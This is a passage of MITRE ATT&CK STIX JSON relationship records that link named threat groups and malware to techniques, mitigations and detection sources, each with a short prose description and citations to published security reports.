2021)","modified":"2022-04-14T14:54:35.103Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1a493d52-b97f-4cf3-a85b-1e9aaa66a410","type":"relationship","created":"2020-03-15T15:37:47.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T22:49:28.692Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. ","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1a49c7e5-32b0-4393-a464-1491b1ebc279","created":"2019-01-29T21:27:25.292Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:33:33.986Z","description":"[APT38](https://attack.mitre.org/groups/G0082) used a Trojan called KEYLIME to capture keystrokes from the victim’s machine.(Citation: FireEye APT38 Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1a4c94a1-6362-42b3-b1d9-41ae3fbf5ea5","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T18:26:37.968Z","description":"[Misdat](https://attack.mitre.org/software/S0083) is capable of running commands to obtain a list of files and directories, as well as enumerating logical drives.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1a4f5197-ec9f-4607-984c-4a09978acd8e","created":"2022-01-12T14:15:34.139Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Winnti April 2015","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","url":"https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:02:53.986Z","description":"[Winnti for Windows](https://attack.mitre.org/software/S0141) can check for the presence of specific files prior to moving to the next phase of execution.(Citation: Novetta Winnti April 2015)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1a51277b-0f14-4d8a-88cb-6616da7b4a98","type":"relationship","created":"2020-12-04T21:04:04.702Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-04T21:04:04.702Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has created web accounts including Dropbox and GitHub for C2 and document exfiltration.(Citation: ESET Crutch December 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1a514acc-4385-4bcd-8451-5d5304e70066","created":"2022-02-18T16:24:44.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Actinium February 2022","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022.","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:12:22.577Z","description":"[PowerPunch](https://attack.mitre.org/software/S0685) can use Base64-encoded scripts.(Citation: Microsoft Actinium February 2022)","relationship_type":"uses","source_ref":"malware--d52291b4-bb23-45a8-aef0-3dc7e986ba15","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1a545340-d4cf-40f1-a3e0-87ecdb957886","type":"relationship","created":"2022-04-01T14:22:19.642Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T14:22:19.642Z","description":"In cloud environments, ensure that only users who explicitly require the permissions to update instance metadata or configurations can do so.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1a5bf948-33fd-4025-aadd-117e99512e6a","created":"2024-10-08T14:46:48.873Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-08T14:46:48.873Z","description":"Implement auditing for authentication activities and user logins to detect the use of stolen session cookies. Monitor for impossible travel scenarios and anomalous behavior that could indicate the use of compromised session tokens or cookies.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1a5f8d73-a9c4-40db-9cd5-7f8a7aea19d7","type":"relationship","created":"2021-10-06T20:34:42.509Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-07T12:55:26.432Z","description":"Restrict granting of permissions related to listing objects in cloud storage to necessary accounts.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--8565825b-21c8-4518-b75e-cbc4c717a156","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1a602d0d-d61d-461c-a79b-8fd7db102272","created":"2022-03-30T14:26:51.855Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for the creation of and/or changes to login hook files (/Library/Preferences/com.apple.loginwindow.plist), especially by unusual accounts outside of normal administration duties.","modified":"2022-04-16T02:46:05.439Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1a666dc1-d0b9-49ac-b05b-350cfca7fa61","type":"relationship","created":"2020-05-27T15:31:09.473Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RedCanary Mockingbird May 2020","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}],"modified":"2020-06-25T13:59:09.704Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has used mofcomp.exe to establish WMI Event Subscription persistence mechanisms configured from a *.mof file.(Citation: RedCanary Mockingbird May 2020)","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1a67b676-a119-4968-a0ce-9f6f48b481de","created":"2022-03-25T16:21:29.185Z","x_mitre_version":"1.0","external_references":[{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Flagpro](https://attack.mitre.org/software/S0696) can check whether the target system is using Japanese, Taiwanese, or English through detection of specific Windows Security and Internet Explorer dialog.(Citation: NTT Security Flagpro new December 2021) ","modified":"2022-04-13T19:56:42.403Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1a69dce6-b39e-4cd2-a29a-18e42293c51a","type":"relationship","created":"2020-03-09T14:29:52.125Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Default VBS macros Blocking ","url":"https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805","description":"Kellie Eickmeyer. (2022, February 7). Helping users stay safe: Blocking internet macros by default in Office. Retrieved February 7, 2022."}],"modified":"2022-03-07T19:43:49.780Z","description":"Use application control where appropriate. VBA macros obtained from the Internet, based on the file's Mark of the Web (MOTW) attribute, may be blocked from executing in Office applications (ex: Access, Excel, PowerPoint, Visio, and Word) by default starting in Windows Version 2203.(Citation: Default VBS macros Blocking )","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1a7d1db3-9383-4171-8938-382e9b0375c6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf","description":"F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.","source_name":"F-Secure BlackEnergy 2014"}],"modified":"2020-06-02T16:14:00.337Z","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) injects its DLL component into svchost.exe.(Citation: F-Secure BlackEnergy 2014)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1a7f1f1e-511a-44bf-8d9e-fd3260febfc8","type":"relationship","created":"2019-08-30T19:53:25.231Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","source_name":"FireEye admin@338"}],"modified":"2019-09-04T19:48:17.678Z","description":"[admin@338](https://attack.mitre.org/groups/G0018) has sent emails with malicious Microsoft Office documents attached.(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1a849525-ee44-4c28-86b2-fe883c45dc79","type":"relationship","created":"2019-07-18T21:12:51.535Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2019-07-22T15:49:28.781Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) leveraged valid accounts to maintain access to a victim network.(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1a8cc478-d3f6-4e16-8d65-c468ed62a8b5","created":"2024-03-21T21:25:49.745Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T00:03:43.618Z","description":"Monitor executed commands and arguments that may abuse or modify TCC mechanisms designed to control access to elevated privileges. macOS system logs may also indicate when `AuthorizationExecuteWithPrivileges` is being called.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--e8a0a025-3601-4755-abfb-8d08283329fb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1a9510e3-0bb0-4469-bbf8-2d02a3a00d66","type":"relationship","created":"2020-06-01T14:41:54.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-06-16T16:43:36.244Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has the ability to use port forwarding to establish a proxy between a target host and C2.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1a978832-f04d-4853-8094-58fc99e30ed1","type":"relationship","created":"2020-03-20T15:43:40.759Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Turla Mosquito May 2018","description":"ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.","url":"https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/"},{"url":"https://github.com/rapid7/meterpreter/tree/master/source/extensions/priv/server/elevate","description":"Rapid7. (2013, November 26). meterpreter/source/extensions/priv/server/elevate/. Retrieved July 8, 2018.","source_name":"Github Rapid7 Meterpreter Elevate"}],"modified":"2020-03-20T15:43:40.759Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used Metasploit to perform reflective DLL injection in order to escalate privileges.(Citation: ESET Turla Mosquito May 2018)(Citation: Github Rapid7 Meterpreter Elevate)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1aa10371-6473-416a-8b8b-17c36f700233","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.","source_name":"ESET Sednit Part 1"},{"url":"http://www.welivesecurity.com/2015/07/10/sednit-apt-group-meets-hacking-team/","description":"ESET Research. (2015, July 10). Sednit APT Group Meets Hacking Team. Retrieved March 1, 2017.","source_name":"ESET Sednit July 2015"}],"modified":"2020-03-28T21:36:05.513Z","description":"[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered itself as a scheduled task to run each time the current user logs in.(Citation: ESET Sednit Part 1)(Citation: ESET Sednit July 2015)","relationship_type":"uses","source_ref":"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1aa34972-7bed-4e2d-bf72-b7352677de60","created":"2022-06-09T19:27:50.082Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group LAPSUS Apr 2022","description":"Brown, D., et al. (2022, April 28). LAPSUS$: Recent techniques, tactics and procedures. Retrieved December 22, 2022.","url":"https://research.nccgroup.com/2022/04/28/lapsus-recent-techniques-tactics-and-procedures/"},{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-21T17:35:45.021Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has obtained tools such as RVTools and AD Explorer for their operations.(Citation: MSTIC DEV-0537 Mar 2022)(Citation: NCC Group LAPSUS Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1aa94645-05e8-40ce-b8b7-c83a4e03d4e2","type":"relationship","created":"2021-12-07T14:46:10.659Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-07T14:46:10.659Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has used batch scripts to enumerate network information, including information about trusts, zones, and the domain.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1aad8f36-aec7-4210-8edb-7ad3dd14f5ed","created":"2022-09-16T16:20:08.685Z","revoked":false,"external_references":[{"source_name":"ESET Operation Spalax Jan 2021","description":"M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.","url":"https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T16:20:08.685Z","description":"For [Operation Spalax](https://attack.mitre.org/campaigns/C0005), the threat actors used packers that read pixel data from images contained in PE files' resource sections and build the next layer of execution from the data.(Citation: ESET Operation Spalax Jan 2021)","relationship_type":"uses","source_ref":"campaign--4c840263-bbda-440d-a22b-674679ddebf1","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1aae3796-86d5-4b31-ad21-e1dcc508a3b5","type":"relationship","created":"2021-12-06T23:14:44.900Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-12-06T23:14:44.900Z","description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) has added and deleted keys from the Registry.(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1aaecef9-d21a-420c-a6c0-53cca7a5e5d8","created":"2019-09-23T22:53:30.177Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"},{"source_name":"FireEye APT41 March 2020","description":"Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.503Z","description":"[APT41](https://attack.mitre.org/groups/G0096) leveraged PowerShell to deploy malware families in victims’ environments.(Citation: FireEye APT41 Aug 2019)(Citation: FireEye APT41 March 2020)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ab045b8-35b4-4920-8223-d1a6b8c6ae1e","type":"relationship","created":"2020-06-25T17:48:41.207Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SANS Windshift August 2018","url":"https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf","description":"Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved June 25, 2020."}],"modified":"2020-06-26T13:38:42.247Z","description":"[Windshift](https://attack.mitre.org/groups/G0112) has sent spearphishing emails with attachment to harvest credentials and deliver malware.(Citation: SANS Windshift August 2018)","relationship_type":"uses","source_ref":"intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1ab19016-645d-4176-b0f4-025990fd4b36","created":"2024-02-12T20:34:58.641Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T21:39:26.287Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) searches for stored credentials associated with cryptocurrency wallets and notifies the command and control server when identified.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ab3f63b-bd80-4e4c-8f62-79f26b9724ab","type":"relationship","created":"2017-05-31T21:33:27.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of 